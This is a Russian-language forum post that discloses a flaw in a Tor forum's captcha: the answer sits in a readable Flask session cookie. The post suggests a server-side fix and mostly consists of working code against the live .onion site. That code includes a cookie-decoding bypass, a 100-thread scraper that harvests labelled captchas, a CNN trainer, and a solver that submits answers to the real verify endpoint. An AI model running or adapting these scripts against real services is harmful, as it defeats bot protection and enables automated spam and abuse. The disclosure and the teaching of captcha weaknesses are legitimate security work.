Спойлер: soundtrack (смеха ради)
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Всех приветствую, картинка подходящая, трэк тоже. Немного предыстории, вообще хотелось написать статью по обучению ML решения image-капч, в силу того, что они везде кастомные, и будет лучше быстренько обучить, чем потом избиваться на сервисы, бороться с плохими решениями, и бла-бла-бла.. В качестве реально таргета решил я выбрать, сие форум на уровне тора. Там как раз таки есть такая капча, и знаете, немного посмотрев, я понял, что, а смысл от такой капчи?
Не удалось прогрузить медиа
Нет, не в том смысле, что тут практически нет шума, и каких-то странных букв, всё визуально понятно. А немного поглубже, давайте, вообще вспомним, для чего существуют капчи? Капча - это автоматизированный тест, используемый на сайтах для отличия реальных пользователей от ботов. Для отличия ЧЕЛОВЕКА от БОТА. Запомнили, да? Ну, а даже если мы робот, то наверняка надо нам как-нибудь затруднить это решение капчи. И уж, простите, но приставка Powered by LIMB Team в контексте дырки, которая тут есть, выглядит больше как Powered by Испанский Стыд. Уровень защиты от роботов этой капчей, примерно уровень из разряда когда преподаватель раздает задачники на контрольную работу, а в конце лист с ответами, но препод думает, мол, вы же честные люди?..- Переворачивать не будете? Будем. Эта демагогия вас наверное уже малясь подзаебла, но давайте быстренько расскажу, что по итогу пишется вообще..- Сначала описываем уже существующую проблему на этом форуме, выдвигаем возможные решения, которые стоит реализовать, а затем обучим машинку решать эту капчу автоматом. Так вот, перейдем к самой проблеме.
Не удалось прогрузить медиа
Ленин в космосе не проблема. Репорт составляем следующий, и как мы его вообще воспроизводим. Открываем TOR, заходим на форум, предварительно открыв инструменты разработчика, чтоб смотреть может еще что пролетает интересного?
Не удалось прогрузить медиа
По факту, ничего особенного, ну совсем уж, все как обычно, прогрузился сам ленд с капчей, подгрузилась капча, и давай вводи её. Чучуть углубляемся в то, что возвращает нам запрос самой капчи, и наблюдаем такую картинку.
Не удалось прогрузить медиа
Меня заинтересовала кука session. Изначально она мне показалась как просто JWT, но потом чучуть покумекав понял, что это кука от Flask'a (либа на питоне для построения бэка сайтов), формат у нее такой [пэйлод].[таймштамп].[подпись]. Ну, и что мне еще остается, посмотреть пэйлод, понять чё храним то там? Может дату госдепа США? Декодим просто из b64 в text, и наблюдаем такую картину.
Не удалось прогрузить медиа
На картинке всё прям показано и рассказано, что, зачем, и почему?
@admin, надо править, потому что ответ на капчу буквально лежит в куке, которую сервер сам отдаёт клиенту. Flask подписывает сессию, но не шифрует, а значит любой бот декодирует base64, достаёт ответ, и проходит сия защиту за миллисекунды. Мини PoC в качестве подтверждения (работает из под шындуса, чтоб под линусь-подобные замените порт у прокси на 9050, предварительно включаем тор)
Code:
import requests, base64, json
proxies = {"http": "socks5h://127.0.0.1:9150", "https": "socks5h://127.0.0.1:9150"}
s = requests.Session()
s.proxies = proxies
base = "https://LIMBb3wqm7ik3pjnaboubapqt3hmzniuj7tqyoq5ij7jxqvowwqd.onion"
s.get(f"{base}/onion-tor-captcha/captcha/captcha_image", timeout=30)
raw = s.cookies["session"].split(".")[0]
raw += "=" * (4 - len(raw) % 4)
answer = json.loads(base64.urlsafe_b64decode(raw))["captcha"]
print(s.post(f"{base}/onion-tor-captcha/captcha/verify", data={"captcha": answer}).text)
Запускаем, тестим, легого. Вопрос, как фиксить? Как угодно. Вариантов несколько, но суть одна:
нельзя хранить ответ на стороне клиента. Либо серверная сессия (Redis, БД, файл), либо хотя бы шифрование куки через flask-session с серверным бэкендом. Подпись не есть шифрование, и вот эта разница стоила вам всей капчи. Смешно ли? Смешно! Ну а теперь, к тому, ради чего изначально собрались. Допустим, куку починят, ответ спрячут как положено. Капча то всё равно осталась. Давайте обучим модель решать её автоматом. И тут жирная ирония, для обучения нейросети нужен размеченный датасет, то есть картинки с правильными ответами. А откуда мы их возьмём? Из той самой дырявой куки. Пока она не починена, мы можем нафармить хоть миллион пар "картинка -> ответ" полностью автоматически. Дырка из первой части, это бесплатный генератор датасета для второй. Рекурсивный фэйл, если хотите.
Не удалось прогрузить медиа
Окей, давайте чучуть теории подкинем, чтоб было понятно, что мы вообще делать собираемся и зачем. Капча у нас текстовая, 5 символов, буквы и цифры, белый фон, минимум шума. По сути, это задача OCR (Optical Character Recognition), только на стероидах, потому что нам не надо распознавать книжные страницы, а надо научить модель читать конкретный шрифт с конкретными искажениями. Классический подход к таким капчам, это свёрточная нейросеть, она же CNN (Convolutional Neural Network). Если совсем на пальцах, то CNN это штука, которая смотрит на картинку маленькими окошками, находит паттерны типа линий, углов, кривых, и потом из этих паттернов собирает понимание "а, это буква K, а это цифра 8".
Не удалось прогрузить медиа
Что нам нужно для обучения? Датасет, куча картинок капч с правильными ответами, чем больше тем лучше, но для такой простой капчи хватит 3-5 тысяч примеров. Откуда берём? Правильно, фармим с сервера, ответ достаём из куки, картинку сохраняем, полностью автоматический сбор, ни одного ручного клика. Сама модель, берём CNN, на вход подаём картинку, на выходе получаем 5 символов, каждая позиция это отдельный классификатор на N возможных символов, цифры 0-9, буквы A-Z, итого 36 классов на позицию. Архитектура простая, пара свёрточных слоёв для извлечения фичей, потом полносвязные слои для классификации каждого символа. Обучение, скармливаем модели картинки, она предсказывает символы, ошибается, получает по жопе через loss function, корректируется, и так по кругу пока не начнёт угадывать. На простых капчах без шума модель начинает угадывать уже через 10-20 эпох (эпоха это один полный проход по всему датасету, то есть модель посмотрела каждую картинку по разу, обновила свои веса, и пошла на следующий круг), но до потолка точности дожимается за пару сотен. Ну и инференс, после обучения модель весит около 9 мегабайт, жрёт картинку и за миллисекунды выплёвывает ответ, никаких сервисов, никаких оплат за каждое решение, всё локально. По стеку, будем использовать PyTorch, потому что он удобнее для таких задач, PIL/Pillow для работы с картинками, и собственно requests для сбора датасета через тор. Ничего экзотического, всё ставится через pip. Начнем со сбора нашего датасета. Пишем скрипт, который в цикле долбит эндпоинт капчи, из куки вытаскивает ответ, картинку сохраняет с именем файла равным ответу, и так пока не наберём нужное количество.
Code:
import requests
import base64
import json
import os
import uuid
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
base = "https://LIMBb3wqm7ik3pjnaboubapqt3hmzniuj7tqyoq5ij7jxqvowwqd.onion"
proxies = {"http": "socks5h://127.0.0.1:9150", "https": "socks5h://127.0.0.1:9150"}
dataset_dir = os.path.join(os.path.dirname(__file__), "dataset")
os.makedirs(dataset_dir, exist_ok=True)
TOTAL = 3000
WORKERS = 100
def grab_one(_):
s = requests.Session()
s.proxies = proxies
img_resp = s.get(f"{base}/onion-tor-captcha/captcha/captcha_image", timeout=30)
raw = s.cookies["session"].split(".")[0]
raw += "=" * (4 - len(raw) % 4)
answer = json.loads(base64.urlsafe_b64decode(raw))["captcha"]
filename = f"{answer}_{uuid.uuid4().hex[:8]}.png"
filepath = os.path.join(dataset_dir, filename)
with open(filepath, "wb") as f:
f.write(img_resp.content)
return answer
collected = 0
with ThreadPoolExecutor(max_workers=WORKERS) as pool:
futures = {pool.submit(grab_one, i): i for i in range(TOTAL)}
for future in as_completed(futures):
try:
answer = future.result()
collected += 1
if collected % 10 == 0:
print(f"[{collected}/{TOTAL}] последнее: {answer}")
except Exception as e:
print(e)
print("готово")
Скрипт сбора простой как три копейки. Используем ThreadPoolExecutor из стандартной библиотеки питона, это по сути пул воркеров, кидаешь ему задачи, он сам распределяет их по потокам, сам следит за очередью, сам собирает результаты. Не надо руками мьютексы крутить, локи расставлять, это всё под капотом. Функция grab_one делает ровно одну вещь, создаёт новую сессию, дёргает эндпоинт капчи, из куки достаёт ответ, скачивает картинку, и сохраняет её с именем файла равным ответу, типо 9KY84_a3f1bc02.png, где до подчёркивания это ответ капчи, а после это просто рандомный хэш чтоб файлы не перетирали друг друга. Закидываем 3000 таких задач в пул на 100 воркеров, и ждём пока всё соберётся. По сути 100 потоков параллельно долбят сервер, каждый в своей сессии, каждый сохраняет свою картинку. Ждем, тихонько, почучуть ждём. И получаем такую огромную картину из нашего микро-нано датасетика.
Не удалось прогрузить медиа
Собрали, замечательно. Теперь обучение. Давайте я объясню как эта хрень работает, чтоб если этот мир для вас далёк, вы всё равно поняли. Смотрите, у нас есть картинка капчи, 320 на 110 пикселей, RGB, то есть каждый пиксель это три числа, красный, зелёный, синий. Для нас с вами посмотреть на картинку и прочитать "9KY84" это элементарно, а для компьютера это просто матрица чисел, ему насрать что там написано. Нашу задачу можно объяснить так, мы хотим построить функцию, которая принимает матрицу пикселей, а возвращает 5 символов. И вот CNN (свёрточная нейросеть) это и есть такая функция, только она не написана руками, а обучена на примерах.
Не удалось прогрузить медиа
Как она устроена. Первый этап, свёрточные слои. Представьте что вы берёте маленькое окошко 3x3 пикселя, и проезжаете им по всей картинке. На каждой позиции окошко считает что-то типо "а тут есть вертикальная линия? а горизонтальная? а угол?". Это и есть свёртка. Первый слой ищет простые штуки типо линий, второй берёт результаты первого и ищет что-то посложнее, типо дуг, углов, контуров букв. После каждого свёрточного слоя стоит MaxPool, он просто уменьшает картинку в 2 раза, чтоб сеть не захлебнулась в данных. Второй этап, классификация. После свёрток у нас вместо картинки получилась карта фичей. И вот тут трюк, мы не скармливаем её всю каждой голове, а нарезаем на вертикальные полоски, каждая голова получает свою полосу, ту часть картинки, где стоит её символ, с небольшим перекрытием по краям чтоб не потерять букву если она чуть сдвинута. Первая голова смотрит на левую часть, вторая на чуть правее, и так далее. Каждая выбирает из 36 вариантов (0-9, A-Z). Картинки переводим в grayscale (одноканальные), капче нахер не нужен цвет, а сеть тренируется быстрее. Перед обучением весь датасет загружаем в оперативку целиком, чтоб не тратить время на чтение файлов каждую эпоху. Кроме того, используем аугментацию, перед каждым батчем картинки немного случайно поворачиваются, сдвигаются и масштабируются. Это искусственно увеличивает разнообразие датасета и заставляет модель не тупо запоминать, а реально учиться распознавать символы. Аугментация работает на уровне тензоров через affine_grid/grid_sample, поэтому летает.
Не удалось прогрузить медиа
Как происходит само обучение. Берём картинку, прогоняем через сеть, получаем 5 предсказаний. Сравниваем с правильным ответом, считаем ошибку (loss). Дальше через backpropagation (обратное распространение ошибки, если по русски то сеть понимает "ага, я тут обосралась, надо подкрутить вот эти вот веса чтоб в следующий раз не обосраться") корректируем веса, и так по кругу, эпоха за эпохой. Датасет делим 85/15, 85 процентов на обучение, 15 на валидацию, валидация это картинки которые модель НЕ видела при обучении, нужна чтоб понять реально она научилась или просто тупо запомнила ответы. Если точность на валидации выросла, сохраняем веса модели.
Code:
import os
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.utils.data import Dataset
from PIL import Image
from torchvision import transforms
data_dir = os.path.join(os.path.dirname(__file__), "dataset")
model_path = os.path.join(os.path.dirname(__file__), "captcha_model.pth")
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
c2i = {c: i for i, c in enumerate(chars)}
i2c = {i: c for i, c in enumerate(chars)}
n_classes = len(chars)
cap_len = 5
w, h = 100, 32
tf = transforms.Compose([
transforms.Resize((h, w)),
transforms.Grayscale(),
transforms.ToTensor(),
transforms.Normalize(mean=[0.5], std=[0.5]),
])
class CaptchaDS(Dataset):
def __init__(self, root):
self.cached, self.labels = [], []
for f in os.listdir(root):
if not f.endswith(".png"): continue
label = f.split("_")[0].upper()
if len(label) == cap_len and all(c in chars for c in label):
self.cached.append(tf(Image.open(os.path.join(root, f)).convert("RGB")))
self.labels.append(torch.tensor([c2i[c] for c in label]))
self.cached = torch.stack(self.cached)
self.labels = torch.stack(self.labels)
def __len__(self): return len(self.cached)
def __getitem__(self, i): return self.cached[i], self.labels[i]
def augment_batch(imgs):
B = imgs.size(0)
angle = (torch.rand(B) - 0.5) * 6
rad = angle * (3.14159265 / 180)
cos_a, sin_a = torch.cos(rad), torch.sin(rad)
scale = 0.95 + torch.rand(B) * 0.1
tx = (torch.rand(B) - 0.5) * 0.1
ty = (torch.rand(B) - 0.5) * 0.1
theta = torch.zeros(B, 2, 3)
theta[:, 0, 0] = cos_a * scale
theta[:, 0, 1] = -sin_a * scale
theta[:, 0, 2] = tx
theta[:, 1, 0] = sin_a * scale
theta[:, 1, 1] = cos_a * scale
theta[:, 1, 2] = ty
grid = F.affine_grid(theta, imgs.size(), align_corners=False)
return F.grid_sample(imgs, grid, align_corners=False)
class Net(nn.Module):
def __init__(self):
super().__init__()
self.features = nn.Sequential(
nn.Conv2d(1, 32, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
nn.Conv2d(32, 64, 3, padding=1), nn.ReLU(), nn.MaxPool2d(2),
)
strip = 64 * 8 * 7
self.heads = nn.ModuleList([
nn.Sequential(nn.Linear(strip, 128), nn.ReLU(), nn.Dropout(0.3), nn.Linear(128, n_classes))
for _ in range(cap_len)
])
def forward(self, x):
x = self.features(x)
W = x.size(3)
cw = W // cap_len
sw = 7
results = []
for i in range(cap_len):
center = i * cw + cw // 2
lo = center - sw // 2
hi = lo + sw
if lo < 0: lo, hi = 0, sw
if hi > W: lo, hi = W - sw, W
strip = x[:, :, :, lo:hi]
results.append(self.heads[i](strip.reshape(x.size(0), -1)))
return results
if __name__ == "__main__":
import time
print("загрузка датасета")
t0 = time.time()
ds = CaptchaDS(data_dir)
print(f"датасет: {len(ds)} ({time.time()-t0:.1f}s)")
n = len(ds)
val_n = int(n * 0.15)
perm = torch.randperm(n)
X_train, Y_train = ds.cached[perm[val_n:]], ds.labels[perm[val_n:]]
X_val, Y_val = ds.cached[perm[:val_n]], ds.labels[perm[:val_n]]
epochs, bs = 300, 256
model = Net()
opt = torch.optim.Adam(model.parameters(), lr=1e-3)
sched = torch.optim.lr_scheduler.ReduceLROnPlateau(opt, patience=10, factor=0.5)
loss_fn = nn.CrossEntropyLoss()
best = 0.0
for ep in range(1, epochs + 1):
model.train()
ep_loss = 0.0
idx = torch.randperm(len(X_train))
for i in range(0, len(X_train), bs):
imgs = augment_batch(X_train[idx[i:i+bs]])
tgt = Y_train[idx[i:i+bs]]
out = model(imgs)
loss = sum(loss_fn(out[j], tgt[:, j]) for j in range(cap_len))
opt.zero_grad(); loss.backward(); opt.step()
ep_loss += loss.item()
model.eval()
with torch.no_grad():
out = model(X_val)
pred = torch.stack([o.argmax(1) for o in out], dim=1)
ok = (pred == Y_val).all(1).sum().item()
char_ok = (pred == Y_val).sum().item()
tot = len(X_val)
acc = ok / tot
char_acc = char_ok / (tot * cap_len)
sched.step(ep_loss)
lr = opt.param_groups[0]['lr']
print(f"ep {ep}/{epochs} loss={ep_loss:.1f} acc={acc:.4f} ({ok}/{tot}) char_acc={char_acc:.4f} lr={lr:.1e}")
if acc > best:
best = acc
torch.save(model.state_dict(), model_path)
print(f" сохранил ({best:.4f})")
print(f"лучшая точность: {best:.4f}")
Запускаем, ждём. На CPU (без видеокарты) одна эпоха идёт примерно 5 секунд, 300 эпох это минут 25. LR scheduler автоматически снижает learning rate когда loss перестаёт падать. Итого за 300 эпох получаем такую картину:
Не удалось прогрузить медиа
То есть из каждых 10 капч модель решает почти 8. А каждый отдельный символ угадывает в 94% случаев. На капче без шума и с читаемым шрифтом, обученной на ~3000 картинках. Неплохо для модельки которая весит меньше 10 мегабайт. Тестим её таким образом, и получаем, что сё гуд.
Code:
import io
import json
import base64
import os
import sys
import requests
import torch
from PIL import Image
sys.path.insert(0, os.path.dirname(__file__))
from train import Net, i2c, tf
BASE = "https://LIMBb3wqm7ik3pjnaboubapqt3hmzniuj7tqyoq5ij7jxqvowwqd.onion"
MODEL_PATH = os.path.join(os.path.dirname(__file__), "captcha_model.pth")
PROXIES = {"http": "socks5h://127.0.0.1:9150", "https": "socks5h://127.0.0.1:9150"}
def decode_cookie(session_cookie):
raw = session_cookie.split(".")[0]
raw += "=" * (4 - len(raw) % 4)
data = json.loads(base64.urlsafe_b64decode(raw))
return data["captcha"]
def predict(img_bytes):
model = Net()
model.load_state_dict(torch.load(MODEL_PATH, map_location="cpu", weights_only=True))
model.eval()
img = Image.open(io.BytesIO(img_bytes)).convert("RGB")
x = tf(img).unsqueeze(0)
with torch.no_grad():
outs = model(x)
return "".join(i2c[o.argmax(1).item()] for o in outs)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXIES
resp = s.get(f"{BASE}/onion-tor-captcha/captcha/captcha_image", timeout=30)
real = decode_cookie(s.cookies["session"])
pred = predict(resp.content)
print(f"из куки: {real}")
print(f"моделька: {pred}")
r = s.post(f"{BASE}/onion-tor-captcha/captcha/verify", data={"captcha": pred})
print(r.status_code)
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Давайте подведем итог, что мы имеем. Капча powered by LIMB Team оказалась дырявой дважды. Первая дыра, ответ лежит в куке открытым текстом, бот просто декодирует base64 и проходит капчу за ноль секунд. Вторая дыра, даже если куку починят, сама капча настолько простая, что нейросеть с двумя свёрточными слоями, обученная на 2300 картинках за полчаса на процессоре без видеокарты, решает её с точностью 78%. А если не угадала с первого раза, то просто запросить новую и попробовать ещё, три попытки и вероятность пройти уже 99%. Ирония ситуации в том, что первая дырка сама же и помогла натренировать модель для второй. Кука отдавала готовые пары "картинка + ответ" бесплатно, без ограничений, тысячами. Статья не для того чтоб кому-то навредить, задеть, обидеть, а чтобы показать, что "написал капчу" и "защитил сервис" это две разные вещи. Всем пока, не болейте.